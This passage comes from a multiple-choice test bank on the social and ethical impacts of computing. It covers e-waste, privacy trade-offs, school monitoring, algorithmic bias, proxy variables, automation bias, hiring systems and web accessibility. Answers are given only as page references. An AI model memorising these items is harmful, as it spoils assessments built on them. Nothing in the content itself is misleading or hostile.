A town learns that a planned data center would draw heavily on the local water supply during summers. Residents' concern is best described as:

A. a local cost of computing services used far beyond town.

B. a security risk to data stored in the data center.

C. a benefit of new cooling technology that lowers the town's usage.

D. a limit on how much electricity phones use locally.

Answer: page 957

0001.c.5.3

Which stage of a computing device's life cycle is most directly associated with electronic waste?

A. data center operation

B. disposal after use

C. mineral extraction

D. component manufacturing

Answer: page 957

0001.c.5.4

A company advertises its AI service as "paperless and clean." Which response best questions this claim?

A. Asking about the energy, water, and hardware behind the service.

B. Asking how many former paper users now prefer the service to paper.

C. Asking whether the service encrypts what users submit.

D. Asking how long the service takes to answer a question.

Answer: page 957

0001.c.5.5

A student argues that e-waste export is simply a fair trade, since receiving countries gain materials and jobs. Which point most directly challenges this claim?

A. Exporting countries lose track of what they ship to other nations.

B. Devices contain no materials that recycling can recover.

C. Workers and neighbors bear health harms without the exporters' protections.

D. Recycling jobs pay more abroad than in exporting countries.

Answer: page 957

Privacy and convenience trade-off

0001.c.6.1

A grocery app gives shoppers discounts in exchange for tracking everything they buy. Which trade-off does this arrangement most clearly present?

A. smaller discounts in exchange for a wider product selection

B. higher prices in exchange for purchases kept anonymous

C. lower prices in exchange for profiling of shopping habits

D. faster checkout in exchange for storing a card number

Answer: page 957

0001.c.6.2

A workplace wellness program offers lower insurance premiums to employees who share fitness tracker data. Why might this choice not be fully voluntary?

A. Fitness trackers cannot legally record the employees' step counts.

B. Employees are unable to remove the devices once they are issued.

C. Insurance premiums are unaffected by employer wellness policies.

D. Refusal carries a financial penalty that some workers cannot afford.

Answer: page 957

0001.c.6.3

A shopping site's personalized suggestions save a customer time. Which cost is the customer most commonly accepting in return?

A. less relevant suggestions over time

B. a slower connection to the site

C. reduced storage on the customer's device

D. loss of control over personal data

Answer: page 957

0001.c.6.4

A navigation app needs location data to give directions, but it continues collecting data when closed. Which distinction best supports a user's objection?

A. Location data is valuable only when it is shared with other apps.

B. A feature's required data differs from data collected beyond it.

C. Directions are calculated on the phone and use no user data.

D. Background collection is an attack carried out by outsiders.

Answer: page 957

0001.c.6.5

A student says, “I have nothing to hide, so data collection does not matter to me.” Which response best complicates this view?

A. Data about one person cannot be shared between systems.

B. Collecting data about people is illegal in most countries.

C. Companies delete collected data automatically after each session.

D. Collected data can be combined and reused in unforeseen ways.

Answer: page 957

Monitoring and student privacy

0001.c.7.1

A school’s monitoring software flags student searches on school-issued laptops at all hours, including at home. Which equity concern is most directly raised?

A. Families with home Wi-Fi pay extra for monitoring services.

B. Students with personal devices receive fewer course assignments.

C. Students with personal devices are flagged for more searches.

D. Students who rely on school devices experience more monitoring.

Answer: page 957

0001.c.7.2

A district is revising its monitoring policy to better balance safety and privacy. Which change is most likely to achieve this?

A. extending monitoring to students’ personal phones outside school hours

B. keeping the policy private to prevent students from evading it

C. having monitoring results shared with each student’s teachers and coaches

D. limiting monitoring to school hours and clearly notifying families

Answer: page 957

0001.c.7.3

The stated purpose of monitoring software on school devices typically includes:

A. increasing students' scores on state exams.

B. supporting student safety and policy enforcement.

C. replacing classroom teachers during lessons.

D. improving the speed of the school's network.

Answer: page 957

0001.c.7.4

Monitoring software flags a student's research on health topics, and the school contacts the student's family, revealing private information. This outcome most directly illustrates that:

A. students should avoid researching health topics online.

B. monitoring meant to protect students can also harm them.

C. software flags reliably reveal what students intend to do.

D. schools may not contact families about student concerns.

Answer: page 957

0001.c.7.5

A teacher learns that students avoid researching sensitive topics on school laptops because they feel watched. Which term best describes this effect?

A. a feedback loop

B. a filter bubble

C. a digital footprint

D. a chilling effect

Answer: page 958

Dual effect on equity

0001.c.8.1

A university's free online courses are completed mostly by people who already hold degrees. This pattern best illustrates that:

A. free courses will eventually close the education gap by themselves.

B. online courses teach less than courses taken in person.

C. a technology can widen access yet favor the already advantaged.

D. degree holders have more interest in learning online.

Answer: page 958

0001.c.8.2

A district introduces online tutoring available to all students at home. To keep the program from widening achievement gaps, the district should also:

A. restrict the program to students who have top grades in the course.

B. provide connectivity and adult support for students who lack them.

C. reduce the in-person tutoring sessions held during the school day.

D. schedule the program for evening hours, when most students are at home.

Answer: page 958

0001.c.8.3

A study of a city's online job portal finds that it helped some residents with disabilities find work while leaving behind residents without home Internet. Which general conclusion does the study support?

A. Technology tends to close existing inequalities as it matures.

B. A single technology can reduce some inequalities and reinforce others.

C. Technology tends to widen existing inequalities as it matures.

D. Technology has little lasting effect on social inequality.

Answer: page 958

0001.c.8.4

Telehealth lets rural patients see specialists without traveling, but it requires reliable broadband. A planner considering its effect on health equity should conclude that it:

A. will largely close health disparities once specialists are online.

B. helps mainly patients who already live near major urban hospitals.

C. will have no effect, since rural patients prefer office visits.

D. helps connected rural patients but leaves others behind.

Answer: page 958

0001.c.8.5

A school gives students free access to a programming tool, but only those whose families already own home computers use it after school. To evaluate the tool's equity effects, the school should compare:

A. participation and outcomes across student groups.

B. the tool's price with that of other programming tools.

C. the total hours logged by all students combined.

D. the number of features across recent tool versions.

Answer: page 958

0001.d Decision systems, bias, and inclusion

Read about this in the content summary: 0001.d, page 19.

Automated decision systems

0001.d.1.1

A court uses software to score defendants' risk of committing another crime, and judges consider the scores at sentencing. Compared to a movie recommendation system, this system most clearly requires greater scrutiny because:

A. it uses more data than most other systems.

B. its users have less computer experience.

C. errors can seriously harm people's lives.

D. its scores are calculated less frequently.

Answer: page 958

0001.d.1.2

Automated decision systems are of special concern when used in hiring, lending, and criminal justice because these decisions:

A. can be undone by users at any time.

B. have high stakes for individuals.

C. are made rarely in most organizations.

D. require the most computing power.

Answer: page 958

0001.d.1.3

A state agency uses software to flag benefit claims as potentially fraudulent. Which safeguard is most important?

A. storing flagged claims in a separate secure spreadsheet

B. allowing human review before benefits are denied

C. asking the vendor to certify the software's accuracy

D. notifying applicants only after benefits have stopped

Answer: page 958

0001.d.1.4

A lender's software denies a loan application, and the bank tells the applicant only that "the system decided." Which problem is most evident?

A. The bank is barred by law from using software to decide loans.

B. The applicant cannot understand or challenge the decision.

C. The system must have too little training data.

D. The applicant's data must have been stolen.

Answer: page 958

0001.d.1.5

A company tests a hiring system on past applicants and finds that it is 95% accurate overall. Before using the system, the company should also ask:

A. whether applicants knew their files would be kept.

B. whether it screens resumes faster than the company's human reviewers do.

C. whether its accuracy rose compared with earlier versions.

D. whether its error rates differ across groups of applicants.

Answer: page 958

Algorithmic bias

0001.d.2.1

An audit finds that an automated benefits system's errors fall repeatedly on one group of applicants. Which term best names this pattern?

A. random noise

B. a feedback loop

C. automation bias

D. algorithmic bias

Answer: page 958

0001.d.2.2

A health system's software used past spending to predict medical need. Because less was historically spent on some patient groups, those patients were rated as healthier than they were. The bias arose mainly from:

A. the doctors' reluctance to read the software's reports.

B. the choice of a target that reflected unequal care.

C. the small number of patients in the training records.

D. the use of patient names as an input.

Answer: page 958

0001.d.2.3

A developer says that the company's algorithm cannot be biased because it is just math. The best response is that:

A. algorithms include random steps that make their results unpredictable.

B. computers perform arithmetic incorrectly for some numbers.

C. bias results from programmers' prejudiced views rather than from data.

D. human choices about data and goals shape the algorithm's behavior.

Answer: page 958

0001.d.2.4

A scoring algorithm performs fairly in the setting for which it was designed. A police department then adopts it for a different purpose, and unfair outcomes result. This bias arises from:

A. the formula the developers chose for its scores.

B. the programming language in which it was written.

C. the records on which the system was trained.

D. the setting in which the system is used.

Answer: page 958

0001.d.2.5

A photo-tagging system mislabels people from one group far more often than others. Which conclusion is most justified?

A. The errors are random, since all software makes mistakes.

B. The people in those photos entered their details incorrectly.

C. The uneven errors warrant review of its data and design.

D. Faster graphics hardware would equalize error rates for users.

Answer: page 958

Biased or unrepresentative training data

0001.d.3.1

A voice assistant understands speakers from its developers' home region far better than speakers with other accents. The most direct way to reduce this problem is to:

A. train it on speech from a wider range of speakers.

B. add a faster processor to handle speech in real time.

C. ask users to speak at a higher volume to the device.

D. increase the storage space available on each device.

Answer: page 958

0001.d.3.2

A resume-screening model is trained on ten years of a company's past hiring decisions, during which few women were hired. The model is most likely to:

A. learn and repeat the historical preference.

B. give little weight to the past hiring records.

C. treat men and women equally, since it works with numerical scores.

D. correct the historical imbalance through its statistical methods.

Answer: page 959

0001.d.3.3

A city trains a citywide model on a large, carefully checked set of records from one affluent district. The main weakness of this training data is that it:

A. was collected too recently to reveal long-term trends.

B. was checked by people rather than by software.

C. contains more records than a model can use.

D. does not reflect the people the system will serve.

Answer: page 959

0001.d.3.4

A skin-condition app identifies conditions well on light skin but poorly on dark skin. An investigation would most usefully begin with:

A. the interface text shown to patients in the app.

B. the speed of the server that processes images.

C. the images used to train the model.

D. the resolution of the cameras on patients' phones.

Answer: page 959

0001.d.3.5

A company learns that its model performs poorly for older users, and it responds by adding many new records from the same source of younger users. This response is limited because:

A. models can learn from only a small number of records.

B. more data from the same source can preserve the imbalance.

C. new records must be deleted once training ends.

D. larger data sets make models less accurate overall.

Answer: page 959

Proxy variables

0001.d.4.1

A bank removes race from its lending model, but loans remain sharply unequal across racial groups. Investigators find that the model relies heavily on applicants' postal codes. The most likely explanation is that:

A. the model continues to read the race field that was deleted.

B. residential segregation makes postal code a stand-in for race.

C. the applicants entered their postal codes incorrectly on the form.

D. postal codes directly encode each applicant's credit score.

Answer: page 959

0001.d.4.2

A variable that stands in for a protected characteristic because it correlates with it is known as a:

A. control variable.

B. target variable.

C. proxy variable.

D. local variable.

Answer: page 959

0001.d.4.3

A company claims that its hiring model cannot discriminate by gender because the model never sees the applicant's gender. Which test would best evaluate this claim?

A. auditing the training code for any mention of gender

B. confirming the gender field is absent from the input

C. removing names from applications before scoring

D. comparing selection rates across gender groups

Answer: page 959

0001.d.4.4

A resume filter favors applicants who list a particular sport. The sport is played mostly by men. Which term best describes the sport in this situation?

A. a training label

B. a proxy for gender

C. a target variable

D. a random feature

Answer: page 959

0001.d.4.5

A school's early-warning model uses the number of absences to predict risk. Critics note that students with chronic health conditions are flagged at far higher rates. Which conclusion is most appropriate?

A. Absences have little relationship with student outcomes.

B. The model is unbiased because health status is not one of its inputs.

C. Students with health conditions were entered incorrectly in the data.

D. The absence count may stand in for health status.

Answer: page 959

Feedback loops

0001.d.5.1

A predictive policing system sends more officers to neighborhoods with more recorded arrests. Arrests then rise in those neighborhoods, and the system recommends even more patrols. This cycle is an example of:

A. automation bias.

B. a filter bubble.

C. a proxy variable.

D. a feedback loop.

Answer: page 959

0001.d.5.2

A video site promotes videos that already have many views, and they gain more views because they are promoted. Which design change would most directly weaken this cycle?

A. showing some less-viewed videos and measuring response to them

B. increasing the resolution of the most popular videos

C. deleting the view count from the site's database

D. displaying view counts in a larger size to users

Answer: page 959

0001.d.5.3

A lender denies loans to people in an area, so few people there build credit histories, and the model later treats the lack of history as a risk. Why is the model's later accuracy misleading?

A. Applicants in that area were less able to repay loans from the start.

B. Credit data loses accuracy as it grows older.

C. Lending models are measured against national data, not local data.

D. Its earlier denials shaped the data confirming its predictions.

Answer: page 959

0001.d.5.4

An engineer warns that a hiring model, retrained yearly only on candidates it selected, will tend to confirm its own choices. The concern is that the model's:

A. program loop has no stopping condition.

B. outputs shape its future training data.

C. speed will decline as its records accumulate.

D. retraining happens too rarely to track new applicants.

Answer: page 959

0001.d.5.5

A school's software assigns students to advanced math based on past test scores, then uses advanced course enrollment to predict future success. What makes this design a concern?

A. Test scores do not correlate with success in any subject.

B. Enrollment data is legally barred from use in a model.

C. Students denied placement have less chance to show readiness.

D. Advanced courses enroll too few students to give a model enough training data.

Answer: page 959

Automation bias

0001.d.6.1

A pilot follows a navigation system's route warning, even though the instruments and the view from the window suggest that the warning is wrong. This behavior best illustrates:

A. confirmation bias.

B. survivorship bias.

C. automation bias.

D. selection bias.

Answer: page 959

0001.d.6.2

A teacher receives a plagiarism checker's report flagging a student's essay, although the essay includes personal details and draft work. The teacher should:

A. set the report aside, since software can make errors.

B. rerun the check after the student revises the flagged passages.

C. weigh the report alongside the other evidence before acting.

D. accept the report as proof, since the software is impartial.

Answer: page 959

0001.d.6.3

A radiology department notices that staff rarely look closely at scans the software labels as normal, even when symptoms point elsewhere. This pattern is best explained by the tendency to:

A. accept a computer's output with too little scrutiny.

B. read only the evidence that confirms a first impression.

C. automate tasks that do not need automation.

D. favor software built for one group over another.

Answer: page 959

0001.d.6.4

A hospital's software recommends a drug dose that seems too high to a nurse. The nurse gives the dose because the system "does not make math errors." Which training emphasis would best address this reasoning?

A. Correct calculation does not ensure correct inputs or a correct model.

B. Software is usually less accurate than manual arithmetic for doses.

C. Nurses are not permitted to read any automated drug recommendations.

D. Dose calculations should be performed on a faster computer system.

Answer: page 960

0001.d.6.5

A hiring manager almost always accepts a software tool's top-ranked candidates, rarely questioning the order. Which approach would most likely strengthen the manager's independent scrutiny?

A. running the tool more often during hiring

B. recording independent reasons before viewing the ranking

C. removing human reviewers from the final decisions

D. displaying the rankings in a more visually polished format

Answer: page 960

Bias in hiring systems

0001.d.7.1

A company's applicant tracking system rejects any resume lacking the exact phrase "project management." Which consequence is most likely?

A. The system stops accepting resumes submitted in common file formats.

B. Candidates with the phrase are guaranteed to be the most qualified.

C. Human reviewers must read more resumes than they did before.

D. Qualified candidates who describe the skill differently are filtered out.

Answer: page 960

0001.d.7.2

An employer suspects that first-round readers of resumes favor applicants from certain backgrounds, apart from their qualifications. Which step would most directly reduce this?

A. hiding identifying details during the initial review

B. ranking resumes by order of arrival

C. requiring longer resumes from every job applicant

D. filtering resumes for required keywords before anyone reads them

Answer: page 960

0001.d.7.3

A company receives thousands of job applications and uses software to store them and screen them against its criteria. This software is best described as:

A. an applicant tracking system.

B. a workforce scheduling system.

C. an employee monitoring system.

D. a payroll management system.

Answer: page 960

0001.d.7.4

A company trains a hiring model on the profiles of its current top performers, nearly all of whom attended the same few universities. Which risk is most significant?

A. Top performers will be removed from their positions by the model.

B. The model will be unable to read degrees from most universities.

C. The company's list of universities will shrink because of the model.

D. The model will favor backgrounds similar to those of current employees.

Answer: page 960

0001.d.7.5

A company's screening tool ranks resumes higher when they contain terms common in its current staff's resumes. Qualified applicants from other industries now rarely advance. The most appropriate response is to:

A. raise the passing score for all applicants equally.

B. add more terms drawn from those same staff resumes.

C. advise applicants to copy terms from current staff resumes.

D. review the keyword criteria and how they affect applicants.

Answer: page 960

Designing for inclusivity

0001.d.8.1

A company developing a banking app for people of all ages and abilities wants to catch barriers as early as possible. Which practice best serves this aim?

A. involving diverse users throughout development and testing

B. relying on the development team's own experience of banking

C. designing for an average user, then adding a help page

D. asking diverse users for comment after the app's release

Answer: page 960

0001.d.8.2

A university admissions tool will influence decisions about thousands of applicants. Which feature would most improve its fairness to individuals?

A. an explanation of each decision and a way to appeal

B. a single score summarizing each applicant's file

C. a public report of the tool's overall accuracy

D. automatic decisions with no staff involvement, for consistency

Answer: page 960

0001.d.8.3

Which practice is a key part of inclusive design for automated systems?

A. testing performance mainly with the system's frequent users

B. testing performance only after the system's final release

C. testing overall accuracy on one large combined sample

D. testing performance across different groups of users

Answer: page 960

0001.d.8.4

Older users of a new health app struggle with small buttons and rapid timeouts, problems that no one on the young development team reported. This outcome could best have been prevented by:

A. asking developers to review their own screens twice.

B. including older users in testing before release.

C. surveying older users after the first release.

D. adding a longer help page to the application.

Answer: page 960

0001.d.8.5

A city's chatbot handles requests for public services, yet some residents cannot get what they need from it. Which design choice best addresses this?

A. offering a human contact option for those residents

B. replacing other contact channels with the chatbot

C. adding an account login to personalize each request

D. retraining the chatbot on its most frequent requests

Answer: page 960

Search and marketplace bias

0001.d.9.1

An online store ranks its own brand's products above those of competitors, even when competitors' products have higher ratings. Which factor is most likely influencing these results?

A. the ratings of competing products

B. the platform's business interests

C. the shopper's past browsing history

D. the age of each product listing

Answer: page 960

0001.d.9.2

A consumer wants a less commercially influenced view of an online marketplace's results. Which step is most likely to help?

A. repeating the same search phrase several times on the same site

B. clearing the cache on the consumer's web browser

C. filtering out sponsored listings and comparing reviews elsewhere

D. increasing the number of results displayed per page

Answer: page 960

0001.d.9.3

A marketplace says results are ordered "by relevance," yet listings rise after their sellers enroll in a fee-based partner program. This pattern suggests that ranking also reflects:

A. the alphabetical order of product names.

B. payments from sellers to the platform.

C. seasonal changes in product ratings.

D. random reordering by each user's browser.

Answer: page 960

0001.d.9.4

A hotel-booking site shows some hotels higher because those hotels pay a larger commission. A consumer protection advocate would most likely argue that the site should:

A. charge hotels a flat commission rate.

B. disclose that commissions affect the order of results.

C. show prices after a customer creates an account.

D. show results in a random order for each search.

Answer: page 960

0001.d.9.5

A student assumes that the first item on a marketplace results page is the best available. Which lesson most directly addresses this assumption?

A. Search results are rarely related to what the shopper asked for.

B. Items listed first are usually out of stock and unavailable.

C. Rank can reflect payment and platform incentives.

D. Marketplaces are required by law to rank items by price alone.

Answer: page 960

0001.e Accessibility and usability

Read about this in the content summary: 0001.e, page 21.

Alternative text

0001.e.1.1

A bar chart on a class page shows that club membership grew from 40 to 80 over five years. Which alternative text best serves a screen reader user?

A. Bar chart with five blue bars, each taller than the last, on a white background.

B. club_membership_chart_final_v2.png

C. Bar chart showing club membership for each of the past five years.

D. Bar chart: club membership doubled over five years, from 40 to 80.

Answer: page 961

0001.e.1.2

A small flourish separates sections of a course page purely as ornament. A screen reader user is best served by alternative text that:

A. repeats the title of the section that follows it.

B. describes the flourish's shape and color in some detail.

C. consists of a single word such as "decoration."

D. is empty, so that the screen reader skips the image.

Answer: page 961

0001.e.1.3

A teacher types a description of a diagram into an image's alternative text field and sees no change on the page. The description mainly reaches its audience through:

A. a screen reader that reads it aloud to the user.

B. a search engine listing that summarizes the page for visitors.

C. a pop-up label shown when a pointer rests on the image.

D. a caption printed beneath the image for all viewers.

Answer: page 961

0001.e.1.4

An icon on a school website links to the cafeteria's weekly menu, and its alternative text reads "fork and knife icon." Which revision best fixes the problem?

A. "Click here"

B. "Blue and white fork and knife icon, 32 by 32 pixels"

C. "Open the weekly cafeteria menu"

D. "Icon linking to another page"

Answer: page 961

0001.e.1.5

A biology quiz asks students to infer a finch's diet from the beak's shape in a photo. The photo's alternative text should most importantly:

A. state the finch's diet, so that the student can answer.

B. describe the short, thick, cone-like shape of the beak.

C. note that a photo of a finch appears here.

D. name the species and credit the photographer.

Answer: page 961

Screen reader

0001.e.2.1

A blind student moves through a department's web pages by jumping among headings and lists. Which page design would most hinder this student?

A. long pages divided into many short sections under real headings

B. pale text on a dark background throughout each of the pages

C. section titles made by enlarging and bolding ordinary text

D. pages with several images, each with descriptive alternative text

Answer: page 961

0001.e.2.2

A deafblind student reads web pages on a refreshable braille display. Which software sends the page's text and interface elements to that display?

A. a screen magnifier

B. a screen reader

C. a high-contrast display mode

D. a speech-to-text program

Answer: page 961

0001.e.2.3

A blind student reports that an online form announces only "edit text, edit text, edit text" for its fields. Which fix would most directly help?

A. adding a paragraph of instructions above the form

B. increasing the font size and contrast of the entire form

C. recording a video that explains the form's fields in order

D. associating a label with each form field

Answer: page 961

0001.e.2.4

A menu looks correct on screen but is built from generic containers, and a screen reader announces it as plain text. The core problem is that the menu:

A. uses colors too close together for a screen reader to detect.

B. relies on scripts, which screen readers cannot process at all.

C. does not expose what each of its elements is.

D. contains more items than a screen reader is able to announce.

Answer: page 961

0001.e.2.5

Which evaluation would best predict whether blind students can use a new online math program?

A. reviewing the vendor's brochure on its accessibility features

B. measuring how quickly the pages load on school tablets

C. asking sighted students to rate how easy it is to use

D. operating the program with a screen reader and no mouse

Answer: page 961

Text-to-speech and speech-to-text

0001.e.3.1

A student with a motor disability finds typing very tiring, though the student composes ideas well aloud. Which tool would best help this student draft essays?

A. screen magnification

B. text-to-speech

C. closed captions

D. speech-to-text

Answer: page 961

0001.e.3.2

One student listens to a textbook because of dyslexia, and another dictates assignments because of a hand injury. These students are using, respectively:

A. speech-to-text and text-to-speech.

B. screen magnifiers and closed captions.

C. closed captions and text-to-speech.

D. text-to-speech and speech-to-text.

Answer: page 961

0001.e.3.3

A laptop feature reads any selected passage aloud. Which student is it most likely to serve?

A. a student with dyslexia who reads slowly

B. a student who needs a text translated into Spanish

C. a student who is deaf and relies on written text

D. a student whose hand injury makes typing painful

Answer: page 961

0001.e.3.4

A class uses speech-to-text for a written assignment, and one student's strong regional accent produces many errors. Which conclusion is most appropriate?

A. The tool's accuracy may vary across speakers and should be checked.

B. The student should adopt a different accent to complete class work.

C. The errors indicate that the microphone on the device has failed.

D. The errors show that speech-to-text cannot be used in schools.

Answer: page 961

0001.e.3.5

A student with low vision finds that magnification makes long online articles slow to follow. Which approach best supports independent reading?

A. turning on closed captions for the page

B. using a browser's read-aloud feature

C. using speech-to-text to convert the article

D. printing the article in its standard type size

Answer: page 961

Captions and transcripts

0001.e.4.1

A department uploads a video lecture whose key information is carried by a spoken explanation and a warning beep. Which feature best supports deaf viewers?

A. a transcript of the speech with the beep left out

B. captions that include the speech and the beep

C. a slideshow summarizing the steps that are shown

D. audio description of what appears on the screen

Answer: page 961

0001.e.4.2

A deafblind student uses a refreshable braille display. Which format best gives this student a podcast's content?

A. louder audio through headphones

B. an audio description track

C. a text transcript

D. open captions

Answer: page 962

0001.e.4.3

A lecture's full text is posted as a separate document. A deaf student asks instead for the words to appear on the video as it plays. What does this format add?

A. synchronization of the text with the video

B. a simpler reading level than the document has

C. a spoken version of the document's text

D. a limit to speech, leaving out other sounds

Answer: page 962

0001.e.4.4

A teacher relies on a platform's automatic captions for a lecture on organic chemistry. Which risk is most important to check before publishing the video?

A. increases in the video's file size

B. errors in the technical vocabulary

C. blocking of screen readers on the page

D. muting of the lecturer's audio track

Answer: page 962

0001.e.4.5

Captions were designed for people who are deaf or hard of hearing, but many students in a noisy cafeteria also use them. This example best illustrates that:

A. captions should be reserved for the settings where noise makes hearing difficult.

B. accessibility features often benefit a wider group of users.

C. hearing students are the main audience for which captions are made.

D. captions help hearing students more than they help students with hearing loss.

Answer: page 962

Web Content Accessibility Guidelines

0001.e.5.1

An audio-only lecture on a course site has no text alternative, so a deaf student cannot receive it. Under the Web Content Accessibility Guidelines (WCAG) principles, this failure concerns whether content is:

A. operable.

B. perceivable.

C. understandable.

D. robust.

Answer: page 962

0001.e.5.2

The four principles of the Web Content Accessibility Guidelines hold that content must be:

A. perceivable, operable, understandable, and robust.

B. printable, organized, uniform, and reliable.

C. portable, open, unified, and responsive.

D. personal, optional, usable, and readable.

Answer: page 962

0001.e.5.3

A district requires vendors to meet Web Content Accessibility Guidelines (WCAG) level AA. A vendor asks whether this is the highest level. The most accurate answer is that:

A. AA is the lowest of three levels, so few criteria must be met.

B. AA is the highest of three levels, so it is the strictest.

C. AA addresses video content, and level A addresses text content.

D. AA is the middle of three levels, and AAA is the strictest.

Answer: page 962

0001.e.5.4

A site's error message says only "Error 0x8004." Under the Web Content Accessibility Guidelines principles, this design most directly fails to make content:

A. robust.

B. perceivable.

C. understandable.

D. operable.

Answer: page 962

0001.e.5.5

An auditor sorts a site's problems under the four principles of the Web Content Accessibility Guidelines. Which finding belongs under "robust"?

A. a video with no captions or other text alternative

B. nonstandard markup that breaks with common assistive technology

C. an error message given as a numeric code without explanation

D. a dropdown menu that is hard to open from a keyboard

Answer: page 962

Accessibility laws

0001.e.6.1

A public school posts its handbook as a scanned image that screen readers cannot read. A parent who is blind objects. Which legal basis most directly supports the parent's complaint?

A. the Children's Online Privacy Protection Act

B. Section 504 and the Americans with Disabilities Act

C. the Digital Millennium Copyright Act

D. the Family Educational Rights and Privacy Act

Answer: page 962

0001.e.6.2

A district's lawyer asks for the technical standard usually used to measure equal access on a school website. Which standard applies?

A. the Internet Engineering Task Force standards

B. the Institute of Electrical and Electronics Engineers standards

C. the National Institute of Standards and Technology security controls

D. the Web Content Accessibility Guidelines

Answer: page 962

0001.e.6.3

A free interactive website is not compatible with screen readers, and a blind student is in the class. The school's obligation is best described as:

A. none in this case, since free websites are exempt from the law.

B. providing equal access, such as through an accessible alternative.

C. excusing the student from the activity's learning goal.

D. leaving compliance to the website's creator, who alone owes the duty.

Answer: page 962

0001.e.6.4

A school argues that its online portal need not be accessible because no current family has reported a disability. Which response is most accurate?

A. Accessibility laws reach only federal government buildings and websites.

B. Portals fall outside these laws, since they are not instruction.

C. Equal access obligations do not depend on someone having complained.

D. Schools may wait to act until a student with a disability enrolls.

Answer: page 962

0001.e.6.5

A school is choosing between two learning apps and must be sure that students with disabilities can use each one. Which vendor document offers the most direct evidence?

A. a list of customer districts that have renewed their contracts

B. a conformance report based on the Web Content Accessibility Guidelines

C. a marketing brochure describing the app's user interface

D. a certificate from an independent audit of its data security

Answer: page 962

Keyboard accessibility

0001.e.7.1

A website's main menu appears only on mouse hover. Which users are most directly excluded?

A. people on slow internet connections

B. people with hearing loss using captions

C. people with color vision deficiency

D. people navigating by keyboard

Answer: page 962

0001.e.7.2

A developer uses only the Tab and Enter keys on a new form and finds that focus never reaches Submit. This test checks for:

A. color contrast.

B. response time.

C. input validation.

D. keyboard accessibility.

Answer: page 962

0001.e.7.3

A district asks why every function of its new website should work without a mouse. Which users benefit most directly from this requirement?

A. people with motor disabilities and screen reader users

B. people with color vision deficiency and people on slow networks

C. people who are deaf and people who rely on video captions

D. people with older monitors and people with little storage space

Answer: page 962

0001.e.7.4

A slideshow on a web page plays automatically. Once the Tab key moves focus into it, repeated presses of Tab only cycle through its slides. The most significant problem is that:

A. the slideshow fills too much of a mobile screen.

B. search engines will rank the page lower in their results.

C. the images in the slideshow will not load properly.

D. keyboard users cannot reach the rest of the page.

Answer: page 963

0001.e.7.5

A teacher builds a drag-and-drop sorting activity for a course website. Which addition would best make it accessible to a student who cannot use a mouse?

A. a keyboard method for moving each item

B. a spoken narration of the activity's instructions

C. a longer time limit for dragging the items

D. a larger drag target for each of the items

Answer: page 963

Color and contrast

0001.e.8.1

A grade report marks failing scores in red and passing scores in green, with no other indicator. Which student is most directly disadvantaged?

A. a student with dyslexia who reads slowly

B. a student with a color vision deficiency

C. a student with a hearing impairment

D. a student with limited motor control

Answer: page 963

0001.e.8.2

Light gray body text on a white site measures 2.6:1. For normal text, Web Content Accessibility Guidelines level AA requires a contrast ratio of at least:

A. 7:1

B. 10:1

C. 4.5:1

D. 3:1

Answer: page 963

0001.e.8.3

A printed line chart distinguishes four data series only by color, and a reader with a color vision deficiency cannot tell them apart. Which revision best resolves this?

A. adding direct labels or distinct line patterns

B. switching to brighter, more saturated colors

C. printing the chart on a larger sheet of paper

D. raising the resolution of the chart's image

Answer: page 963

0001.e.8.4

A form marks required fields with a red border only. Which change most directly fixes the problem?

A. changing each red border to a thicker red border

B. using a green border around each of the optional fields

C. adding the word "required" to each required field's label

D. moving all of the fields into a single long column

Answer: page 963

0001.e.8.5

A student with low vision cannot easily read slides with pale yellow text on white. Which design change is most likely to help?

A. shortening the time for which each slide is displayed

B. using several font colors to separate different ideas

C. increasing the contrast between text and background

D. adding animations that bring in each line of text

Answer: page 963

Meaningful links and headings

0001.e.9.1

A teacher's page has five links, each reading "click here." A screen reader user who lists the page's links will most likely find that:

A. the links are skipped, because screen readers ignore generic text.

B. the list is empty, because the links lack alternative text.

C. the links are read aloud with full descriptions of their destinations.

D. the links cannot be told apart without surrounding context.

Answer: page 963

0001.e.9.2

A class page says “For the permission slip, click here.” Which link text would best serve someone browsing a list of the page’s links?

A. “Click this link to go to the form”

B. “More information about this school document”

C. “Download the field trip permission slip”

D. “https://school.example/forms/17a”

Answer: page 963

0001.e.9.3

A blind student skims a long web page without hearing every word. The student’s screen reader most likely jumps among the page’s:

A. images and borders.

B. headings and links.

C. fonts and colors.

D. cookies and scripts.

Answer: page 963

0001.e.9.4

A school’s web page picks heading levels for their size, so a level 4 heading precedes a level 1. Which user is most affected?

A. a user viewing the page on a tablet

B. a user with a color vision deficiency

C. a user navigating with a screen reader

D. a user with hearing loss watching its videos

Answer: page 963

0001.e.9.5

A teacher converts a syllabus into a web page and wants students using assistive technology to find each section quickly. The most effective step is to:

A. place the sections side by side in a table.

B. underline each title and center it on the page.

C. type section titles in a larger, bold font.

D. mark section titles using real heading elements.

Answer: page 963

Web accessibility tools

0001.e.10.1

An automated checker reports no errors on a site's image gallery. A blind user still finds that each image's alternative text says only "photo." This result best illustrates that:

A. the checker must be faulty, since automated tools catch every barrier.

B. the user's device must be blocking the real image descriptions.

C. alternative text is not a concern for users of screen readers.

D. checkers can detect missing text but cannot judge its meaning.

Answer: page 963

0001.e.10.2

A web coordinator runs WAVE and Lighthouse on a school's site before its launch. The reports can be expected to:

A. certify that the site complies with disability law.

B. read the site's pages aloud to students with low vision.

C. flag problems such as missing alt text and low contrast.

D. add captions to the site's videos automatically.

Answer: page 963

0001.e.10.3

A district has run an automated checker on its website and fixed all flagged problems. To best determine whether barriers remain, it should next:

A. run the same checker a second time on the same pages.

B. ask the site's developers whether they see any issues.

C. test the site with assistive technology and with users.

D. move the site to a faster server for hosting its pages.

Answer: page 963

0001.e.10.4

Which accessibility issue is an automated checker least likely to detect reliably?

A. text whose color contrast is below the threshold

B. a reading order that makes no sense to a listener

C. an image that has no alternative text attribute

D. a form field with no associated label element

Answer: page 963

0001.e.10.5

A vendor advertises a “100% score” on an automated test as proof that its product works for all students. The most appropriate response from a school is to:

A. reject the product, since automated tests are unreliable.

B. accept the claim, since a perfect score reflects a thorough evaluation.

C. compare the score with those of products sold in other countries.

D. ask for evidence of testing with assistive technology and users.

Answer: page 963

Built-in device accessibility features

0001.e.11.1

A student with low vision needs larger text on a school laptop, but the IT department cannot install new software this week. The teacher should first try:

A. a printed copy of each web page the student needs to view.

B. a request for a new laptop with a larger physical screen.

C. the operating system’s built-in zoom or display settings.

D. a request that web pages be redesigned for this student.

Answer: page 963

0001.e.11.2

A student with limited motor control and unclear speech can reliably press only one large button. Which device feature would let this student operate a tablet?

A. high-contrast mode

B. switch access

C. voice control

D. sticky keys

Answer: page 964

0001.e.11.3

